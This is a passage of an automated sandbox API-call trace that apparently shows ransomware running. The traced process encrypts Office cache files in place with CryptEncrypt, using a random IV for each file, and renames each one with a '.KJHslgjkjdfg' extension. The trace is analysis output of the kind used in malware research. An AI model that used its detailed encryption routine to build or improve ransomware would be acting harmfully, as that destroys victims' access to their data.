dwFlags=0x0) returned 1 [0155.026] GetProcessHeap () returned 0x990000 [0155.026] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0155.026] CryptEncrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df4e0*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df4e0*=0x40) returned 1 [0155.026] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0155.026] WriteFile (in: hFile=0x124, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df4f8*=0x40, lpOverlapped=0x0) returned 1 [0155.027] WriteFile (in: hFile=0x124, lpBuffer=0x29df500*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x29df500*, lpNumberOfBytesWritten=0x29df4f8*=0x4, lpOverlapped=0x0) returned 1 [0155.027] WriteFile (in: hFile=0x124, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df4f8*=0x10, lpOverlapped=0x0) returned 1 [0155.028] WriteFile (in: hFile=0x124, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df4f8*=0x80, lpOverlapped=0x0) returned 1 [0155.028] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df520 | out: lpNewFilePointer=0x0) returned 1 [0155.028] WriteFile (in: hFile=0x124, lpBuffer=0x29df510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x29df510*, lpNumberOfBytesWritten=0x29df4f8*=0x8, lpOverlapped=0x0) returned 1 [0155.028] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df4fc | out: phKey=0x29df4fc*=0x9b64e8) returned 1 [0155.028] CryptSetKeyParam (hKey=0x9b64e8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0155.028] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.028] ReadFile (in: hFile=0x124, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xd5600, lpNumberOfBytesRead=0x29df504, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df504*=0xd5600, lpOverlapped=0x0) returned 1 [0155.048] CryptEncrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df4e0*=0xd5600, dwBufLen=0xd5600 | out: pbData=0x27d0020*, pdwDataLen=0x29df4e0*=0xd5600) returned 1 [0155.058] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.058] WriteFile (in: hFile=0x124, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xd5600, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df4f8*=0xd5600, lpOverlapped=0x0) returned 1 [0155.061] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0155.061] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xd56d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.061] SetEndOfFile (hFile=0x124) returned 1 [0155.064] GetProcessHeap () returned 0x990000 [0155.064] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0155.064] GetProcessHeap () returned 0x990000 [0155.064] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0155.064] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi.KJHslgjkjdfg" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.msi.kjhslgjkjdfg")) returned 1 [0155.065] CloseHandle (hObject=0x124) returned 1 [0155.065] FindNextFileW (in: hFindFile=0x9b6528, lpFindFileData=0x29df588 | out: lpFindFileData=0x29df588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4529b900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x4529b900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc138cb0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x567, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Office32MUI.xml", cAlternateFileName="OFFICE~1.XML")) returned 1 [0155.065] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0155.066] GetProcessHeap () returned 0x990000 [0155.066] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0155.066] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0155.066] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df518 | out: lpNewFilePointer=0x0) returned 1 [0155.066] WriteFile (in: hFile=0x124, lpBuffer=0x29df528*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x29df528*, lpNumberOfBytesWritten=0x29df4f8*=0x9, lpOverlapped=0x0) returned 1 [0155.074] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df4fc | out: phKey=0x29df4fc*=0x9b64e8) returned 1 [0155.074] CryptSetKeyParam (hKey=0x9b64e8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0155.074] GetProcessHeap () returned 0x990000 [0155.074] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0155.074] CryptEncrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df4e0*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df4e0*=0x40) returned 1 [0155.074] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0155.074] WriteFile (in: hFile=0x124, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df4f8*=0x40, lpOverlapped=0x0) returned 1 [0155.075] WriteFile (in: hFile=0x124, lpBuffer=0x29df500*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x29df500*, lpNumberOfBytesWritten=0x29df4f8*=0x4, lpOverlapped=0x0) returned 1 [0155.077] WriteFile (in: hFile=0x124, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df4f8*=0x10, lpOverlapped=0x0) returned 1 [0155.077] WriteFile (in: hFile=0x124, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df4f8*=0x80, lpOverlapped=0x0) returned 1 [0155.077] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df520 | out: lpNewFilePointer=0x0) returned 1 [0155.077] WriteFile (in: hFile=0x124, lpBuffer=0x29df510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x29df510*, lpNumberOfBytesWritten=0x29df4f8*=0x8, lpOverlapped=0x0) returned 1 [0155.077] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df4fc | out: phKey=0x29df4fc*=0x9b64e8) returned 1 [0155.078] CryptSetKeyParam (hKey=0x9b64e8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0155.078] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.078] ReadFile (in: hFile=0x124, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x567, lpNumberOfBytesRead=0x29df504, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df504*=0x567, lpOverlapped=0x0) returned 1 [0155.078] CryptEncrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df4e0*=0x570, dwBufLen=0x570 | out: pbData=0x27d0020*, pdwDataLen=0x29df4e0*=0x570) returned 1 [0155.078] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.078] WriteFile (in: hFile=0x124, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x570, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df4f8*=0x570, lpOverlapped=0x0) returned 1 [0155.078] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0155.078] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x644, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.078] SetEndOfFile (hFile=0x124) returned 1 [0155.081] GetProcessHeap () returned 0x990000 [0155.081] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0155.081] GetProcessHeap () returned 0x990000 [0155.081] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0155.081] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml.KJHslgjkjdfg" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.xml.kjhslgjkjdfg")) returned 1 [0155.085] CloseHandle (hObject=0x124) returned 1 [0155.085] FindNextFileW (in: hFindFile=0x9b6528, lpFindFileData=0x29df588 | out: lpFindFileData=0x29df588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc301560, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x2cb13b, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="OWOW32LR.cab", cAlternateFileName="")) returned 1 [0155.085] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\owow32lr.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0155.085] GetFileSizeEx (in: hFile=0x124, lpFileSize=0x29df508 | out: lpFileSize=0x29df508*=2928955) returned 1 [0155.085] GetProcessHeap () returned 0x990000 [0155.085] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0155.086] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0155.086] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.086] WriteFile (in: hFile=0x124, lpBuffer=0x29df528*, nNumberOfBytesToWrite=0x5, lpNumberOfBytesWritten=0x29df4f4, lpOverlapped=0x0 | out: lpBuffer=0x29df528*, lpNumberOfBytesWritten=0x29df4f4*=0x5, lpOverlapped=0x0) returned 1 [0155.088] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df4f8 | out: phKey=0x29df4f8*=0x9b64e8) returned 1 [0155.088] CryptSetKeyParam (hKey=0x9b64e8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0155.088] GetProcessHeap () returned 0x990000 [0155.088] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0155.088] CryptEncrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df4d8*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df4d8*=0x40) returned 1 [0155.088] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0155.088] WriteFile (in: hFile=0x124, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df4f4, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df4f4*=0x40, lpOverlapped=0x0) returned 1 [0155.088] WriteFile (in: hFile=0x124, lpBuffer=0x29df4fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df4f4, lpOverlapped=0x0 | out: lpBuffer=0x29df4fc*, lpNumberOfBytesWritten=0x29df4f4*=0x4, lpOverlapped=0x0) returned 1 [0155.089] WriteFile (in: hFile=0x124, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df4f4, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df4f4*=0x10, lpOverlapped=0x0) returned 1 [0155.089] WriteFile (in: hFile=0x124, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df4f4, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df4f4*=0x80, lpOverlapped=0x0) returned 1 [0155.089] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df520 | out: lpNewFilePointer=0x0) returned 1 [0155.089] WriteFile (in: hFile=0x124, lpBuffer=0x29df510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df4f4, lpOverlapped=0x0 | out: lpBuffer=0x29df510*, lpNumberOfBytesWritten=0x29df4f4*=0x8, lpOverlapped=0x0) returned 1 [0155.089] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df4f8 | out: phKey=0x29df4f8*=0x9b64e8) returned 1 [0155.089] CryptSetKeyParam (hKey=0x9b64e8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0155.089] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df4c8 | out: lpNewFilePointer=0x0) returned 1 [0155.089] ReadFile (in: hFile=0x124, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x29df4bc, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df4bc*=0x40000, lpOverlapped=0x0) returned 1 [0155.094] CryptEncrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df4c4*=0x40000, dwBufLen=0x40000 | out: pbData=0x27d0020*, pdwDataLen=0x29df4c4*=0x40000) returned 1 [0155.100] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.100] WriteFile (in: hFile=0x124, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x29df4c0, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df4c0*=0x40000, lpOverlapped=0x0) returned 1 [0155.101] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x2cb214, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.101] WriteFile (in: hFile=0x124, lpBuffer=0x29df4c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df4c0, lpOverlapped=0x0 | out: lpBuffer=0x29df4c8*, lpNumberOfBytesWritten=0x29df4c0*=0x8, lpOverlapped=0x0) returned 1 [0155.102] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xee5be, lpNewFilePointer=0x0, dwMoveMethod=0x29df4c8 | out: lpNewFilePointer=0x0) returned 1 [0155.102] ReadFile (in: hFile=0x124, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x29df4bc, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df4bc*=0x40000, lpOverlapped=0x0) returned 1 [0155.114] CryptEncrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df4c4*=0x40000, dwBufLen=0x40000 | out: pbData=0x27d0020*, pdwDataLen=0x29df4c4*=0x40000) returned 1 [0155.119] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xee5be, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.119] WriteFile (in: hFile=0x124, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x29df4c0, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df4c0*=0x40000, lpOverlapped=0x0) returned 1 [0155.133] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x2cb214, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.133] WriteFile (in: hFile=0x124, lpBuffer=0x29df4c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df4c0, lpOverlapped=0x0 | out: lpBuffer=0x29df4c8*, lpNumberOfBytesWritten=0x29df4c0*=0x8, lpOverlapped=0x0) returned 1 [0155.133] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x28b140, lpNewFilePointer=0x0, dwMoveMethod=0x29df4c8 | out: lpNewFilePointer=0x0) returned 1 [0155.133] ReadFile (in: hFile=0x124, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x29df4bc, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df4bc*=0x40000, lpOverlapped=0x0) returned 1 [0155.135] CryptEncrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df4c4*=0x40000, dwBufLen=0x40000 | out: pbData=0x27d0020*, pdwDataLen=0x29df4c4*=0x40000) returned 1 [0155.138] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x28b140, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.138] WriteFile (in: hFile=0x124, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x29df4c0, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df4c0*=0x40000, lpOverlapped=0x0) returned 1 [0155.139] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x2cb214, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.139] WriteFile (in: hFile=0x124, lpBuffer=0x29df4c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df4c0, lpOverlapped=0x0 | out: lpBuffer=0x29df4c8*, lpNumberOfBytesWritten=0x29df4c0*=0x8, lpOverlapped=0x0) returned 1 [0155.139] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0155.139] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x2cb214, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.139] SetEndOfFile (hFile=0x124) returned 1 [0155.143] GetProcessHeap () returned 0x990000 [0155.143] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0155.143] GetProcessHeap () returned 0x990000 [0155.143] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0155.143] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\owow32lr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab.KJHslgjkjdfg" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\owow32lr.cab.kjhslgjkjdfg")) returned 1 [0155.143] CloseHandle (hObject=0x124) returned 1 [0155.144] FindNextFileW (in: hFindFile=0x9b6528, lpFindFileData=0x29df588 | out: lpFindFileData=0x29df588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc3e4630, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x93a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0155.144] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0155.144] GetProcessHeap () returned 0x990000 [0155.144] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0155.144] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0155.144] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df518 | out: lpNewFilePointer=0x0) returned 1 [0155.144] WriteFile (in: hFile=0x124, lpBuffer=0x29df528*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x29df528*, lpNumberOfBytesWritten=0x29df4f8*=0x6, lpOverlapped=0x0) returned 1 [0155.146] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df4fc | out: phKey=0x29df4fc*=0x9b64e8) returned 1 [0155.147] CryptSetKeyParam (hKey=0x9b64e8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0155.147] GetProcessHeap () returned 0x990000 [0155.147] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x30) returned 0x9b4db8 [0155.147] CryptEncrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b4db8*, pdwDataLen=0x29df4e0*=0x30, dwBufLen=0x30 | out: pbData=0x9b4db8*, pdwDataLen=0x29df4e0*=0x30) returned 1 [0155.147] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0155.147] WriteFile (in: hFile=0x124, lpBuffer=0x9b4db8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x9b4db8*, lpNumberOfBytesWritten=0x29df4f8*=0x30, lpOverlapped=0x0) returned 1 [0155.147] WriteFile (in: hFile=0x124, lpBuffer=0x29df500*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x29df500*, lpNumberOfBytesWritten=0x29df4f8*=0x4, lpOverlapped=0x0) returned 1 [0155.147] WriteFile (in: hFile=0x124, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df4f8*=0x10, lpOverlapped=0x0) returned 1 [0155.147] WriteFile (in: hFile=0x124, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df4f8*=0x80, lpOverlapped=0x0) returned 1 [0155.147] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df520 | out: lpNewFilePointer=0x0) returned 1 [0155.147] WriteFile (in: hFile=0x124, lpBuffer=0x29df510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x29df510*, lpNumberOfBytesWritten=0x29df4f8*=0x8, lpOverlapped=0x0) returned 1 [0155.148] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df4fc | out: phKey=0x29df4fc*=0x9b64e8) returned 1 [0155.148] CryptSetKeyParam (hKey=0x9b64e8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0155.148] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.148] ReadFile (in: hFile=0x124, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x93a, lpNumberOfBytesRead=0x29df504, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df504*=0x93a, lpOverlapped=0x0) returned 1 [0155.148] CryptEncrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df4e0*=0x940, dwBufLen=0x940 | out: pbData=0x27d0020*, pdwDataLen=0x29df4e0*=0x940) returned 1 [0155.148] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.148] WriteFile (in: hFile=0x124, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x940, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df4f8*=0x940, lpOverlapped=0x0) returned 1 [0155.148] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0155.148] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xa04, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.148] SetEndOfFile (hFile=0x124) returned 1 [0155.151] GetProcessHeap 